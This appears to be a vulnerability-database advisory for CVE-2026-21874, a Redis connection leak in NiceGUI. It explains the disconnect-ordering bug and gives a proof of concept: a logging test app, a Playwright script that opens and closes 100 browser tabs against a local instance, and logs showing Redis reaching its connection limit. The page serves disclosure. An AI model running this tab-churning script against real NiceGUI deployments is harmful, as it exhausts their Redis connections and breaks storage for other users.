CVE-2026-21874 is a medium severity vulnerability with a CVSS score of 5.3. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
An unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality.
When a client disconnects, tab_id is cleared at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L307 before delete() is called at https://github.com/zauberzeug/nicegui/blob/main/nicegui/client.py#L319. By then tab_id is None, so there's no way to find the RedisPersistentDict and call https://github.com/zauberzeug/nicegui/blob/main/nicegui/persistence/redis_persistent_dict.py#L92.
Each tab creates a RedisPersistentDict with a Redis client connection and a pubsub subscription. These are never closed, accumulating until Redis maxclients is reached.
import os
import logging
from datetime import timedelta
import redis
from nicegui import ui, app
from nicegui.client import Client
logging.basicConfig(level=logging.WARNING, format="%(asctime)s %(levelname)s %(message)s")
logging.getLogger("leak").setLevel(logging.INFO)
log = logging.getLogger("leak")
_original_handle_disconnect = Client.handle_disconnect
_original_delete = Client.delete
def _patched_handle_disconnect(self, socket_id: str) -> None:
tab_id_before = self.tab_id
_original_handle_disconnect(self, socket_id)
log.warning("disconnect: tab_id=%s cleared, tabs=%d", tab_id_before, len(app.storage._tabs))
def _patched_delete(self) -> None:
tab_id = self.tab_id
tabs_before = len(app.storage._tabs)
_original_delete(self)
log.error("delete: tab_id=%s, tabs=%d->%d", tab_id, tabs_before, len(app.storage._tabs))
Client.handle_disconnect = _patched_handle_disconnect
Client.delete = _patched_delete
_last_stats: tuple[int, int] = (0, 0)
def log_stats() -> None:
global _last_stats
client = redis.from_url(os.environ["NICEGUI_REDIS_URL"])
conns = client.info("clients")["connected_clients"]
client.close()
tabs = len(app.storage._tabs)
if (conns, tabs) != _last_stats:
log.info("stats: conns=%d tabs=%d", conns, tabs)
_last_stats = (conns, tabs)
@ui.page("/")
async def main():
await ui.context.client.connected()
app.storage.tab["visited"] = True
ui.label("Check logs")
ui.timer(interval=2.0, callback=log_stats)
if __name__ == "__main__":
app.storage.max_tab_storage_age = timedelta(days=30).total_seconds()
ui.run(storage_secret="test", reconnect_timeout=2.0, reload=False)
| Vendor | Product |
|---|---|
| Zauberzeug | Nicegui |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
import asyncio
from playwright.async_api import async_playwright
async def attack(url: str, num_tabs: int) -> None:
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
for i in range(num_tabs):
context = await browser.new_context()
page = await context.new_page()
try:
await page.goto(url, wait_until="domcontentloaded", timeout=10000)
await page.wait_for_timeout(500)
except Exception:
pass
await context.close()
await browser.close()
if __name__ == "__main__":
asyncio.run(attack(url="http://127.0.0.1:8080/", num_tabs=100))
redis-cli CONFIG SET maxclients 50NICEGUI_REDIS_URL=redis://localhost:6379/0 python test_connection_leak.pypython attack_connection_leak.pyNiceGUI ready to go on http://localhost:8080, http://10.201.1.10:8080, http://127.94.0.1:8080, http://127.94.0.2:8080, and http://192.168.0.15:8080
2026-01-01 17:19:43,226 INFO stats: conns=12 tabs=1
2026-01-01 17:19:45,945 INFO stats: conns=14 tabs=1
2026-01-01 17:21:14,504 INFO stats: conns=16 tabs=2
2026-01-01 17:21:14,506 WARNING disconnect: tab_id=4c1fc610-0fa9-4e8f-bb7a-c7882d22e599 cleared, tabs=2
2026-01-01 17:21:16,339 INFO stats: conns=19 tabs=3
2026-01-01 17:21:16,963 ERROR delete: tab_id=None, tabs=3->3
2026-01-01 17:21:16,964 WARNING disconnect: tab_id=e62f8ff3-9b91-431c-a66e-ce64dc37fc41 cleared, tabs=3
2026-01-01 17:21:17,563 INFO stats: conns=20 tabs=3
2026-01-01 17:21:18,342 INFO stats: conns=21 tabs=3
2026-01-01 17:21:19,397 INFO stats: conns=23 tabs=4
2026-01-01 17:21:20,022 ERROR delete: tab_id=None, tabs=4->4
2026-01-01 17:21:20,022 WARNING disconnect: tab_id=acafc0de-83bd-4919-8a78-e7775eb5b0cb cleared, tabs=4
2026-01-01 17:21:21,952 INFO stats: conns=27 tabs=5
2026-01-01 17:21:23,204 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:23,204 WARNING disconnect: tab_id=56df6fab-7342-4823-8cc4-0e997d9da40a cleared, tabs=5
2026-01-01 17:21:23,829 INFO stats: conns=28 tabs=5
2026-01-01 17:21:25,280 INFO stats: conns=29 tabs=5
2026-01-01 17:21:25,881 ERROR delete: tab_id=None, tabs=5->5
2026-01-01 17:21:26,578 INFO stats: conns=30 tabs=5
2026-01-01 17:21:27,567 INFO stats: conns=32 tabs=6
2026-01-01 17:21:27,569 WARNING disconnect: tab_id=f1f79c1e-80ef-4753-a228-fdc13eb29e19 cleared, tabs=6
2026-01-01 17:21:28,579 INFO stats: conns=34 tabs=6
2026-01-01 17:21:29,449 INFO stats: conns=35 tabs=7
2026-01-01 17:21:30,074 ERROR delete: tab_id=None, tabs=7->7
2026-01-01 17:21:30,075 WARNING disconnect: tab_id=9f1326eb-75d8-4ea3-99fb-e47f54d45371 cleared, tabs=7
2026-01-01 17:21:30,701 INFO stats: conns=36 tabs=7
2026-01-01 17:21:31,454 INFO stats: conns=37 tabs=7
2026-01-01 17:21:32,531 INFO stats: conns=40 tabs=8
2026-01-01 17:21:33,185 ERROR delete: tab_id=None, tabs=8->8
2026-01-01 17:21:33,185 WARNING disconnect: tab_id=5f0b0e71-0ea0-4488-b392-cda09299a8f2 cleared, tabs=8
2026-01-01 17:21:34,436 INFO stats: conns=40 tabs=9
2026-01-01 17:21:35,063 WARNING disconnect: tab_id=a6e014ed-e76e-449d-a6eb-e8676cca1cc5 cleared, tabs=9
2026-01-01 17:21:35,685 INFO stats: conns=41 tabs=9
2026-01-01 17:21:35,686 ERROR delete: tab_id=None, tabs=9->9
2026-01-01 17:21:36,411 INFO stats: conns=42 tabs=9
2026-01-01 17:21:37,479 INFO stats: conns=45 tabs=10
2026-01-01 17:21:38,112 ERROR delete: tab_id=None, tabs=10->10
2026-01-01 17:21:38,112 WARNING disconnect: tab_id=9dd7a6ca-50da-436a-966f-38c835b65f7b cleared, tabs=10
2026-01-01 17:21:39,342 INFO stats: conns=48 tabs=11
2026-01-01 17:21:39,600 ERROR max number of clients reached
Traceback (most recent call last):
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/timer.py", line 111, in _invoke_callback
result = self.callback()
File "/Users/dyudelevich/dev/test_connection_leak.py", line 45, in log_stats
conns = client.info("clients")["connected_clients"]
~~~~~~~~~~~^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/commands/core.py", line 1005, in info
return self.execute_command("INFO", section, *args, **kwargs)
~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 657, in execute_command
return self._execute_command(*args, **options)
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/client.py", line 663, in _execute_command
conn = self.connection or pool.get_connection()
~~~~~~~~~~~~~~~~~~~^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/utils.py", line 196, in wrapper
return func(*args, **kwargs)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 2601, in get_connection
connection.connect()
~~~~~~~~~~~~~~~~~~^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 846, in connect
self.connect_check_health(check_health=True)
~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 869, in connect_check_health
self.on_connect_check_health(check_health=check_health)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 941, in on_connect_check_health
auth_response = self.read_response()
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/connection.py", line 1133, in read_response
response = self._parser.read_response(disable_decoding=disable_decoding)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 15, in read_response
result = self._read_response(disable_decoding=disable_decoding)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 38, in _read_response
raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,618 WARNING disconnect: tab_id=711835bb-3677-44cc-a406-abb8ae487370 cleared, tabs=11
2026-01-01 17:21:39,618 WARNING Could not load data from Redis with key nicegui:tab-711835bb-3677-44cc-a406-abb8ae487370
2026-01-01 17:21:40,242 INFO stats: conns=49 tabs=11
2026-01-01 17:21:40,244 ERROR delete: tab_id=None, tabs=11->11
2026-01-01 17:21:40,502 WARNING Could not load data from Redis with key nicegui:user-3876bd1e-5769-43ef-8c78-6e5e77ae3436
2026-01-01 17:21:40,502 ERROR max number of clients reached
Traceback (most recent call last):
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/background_tasks.py", line 93, in _handle_exceptions
task.result()
~~~~~~~~~~~^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/nicegui/persistence/redis_persistent_dict.py", line 81, in backup
if not await self.redis_client.exists(self.key) and not self:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/client.py", line 720, in execute_command
conn = self.connection or await pool.get_connection()
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1198, in get_connection
await self.ensure_connection(connection)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 1231, in ensure_connection
await connection.connect()
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 298, in connect
await self.connect_check_health(check_health=True)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 324, in connect_check_health
await self.on_connect_check_health(check_health=check_health)
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 410, in on_connect_check_health
auth_response = await self.read_response()
^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/asyncio/connection.py", line 607, in read_response
response = await self._parser.read_response(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
disable_decoding=disable_decoding
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
)
^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 82, in read_response
response = await self._read_response(disable_decoding=disable_decoding)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/local/Caskroom/miniconda/base/lib/python3.13/site-packages/redis/_parsers/resp2.py", line 102, in _read_response
raise error
redis.exceptions.ConnectionError: max number of clients reached
2026-01-01 17:21:39,600 ERROR max number of clients reached redis.exceptions.ConnectionError: max number of clients reached
Affects all NiceGUI deployments using Redis storage. No authentication required. Attacker opens/closes browser tabs until Redis refuses new connections. NiceGUI handles errors gracefully so the app stays up, but new users lose persistent storage (tab/user data not saved) and any Redis-dependent functionality breaks.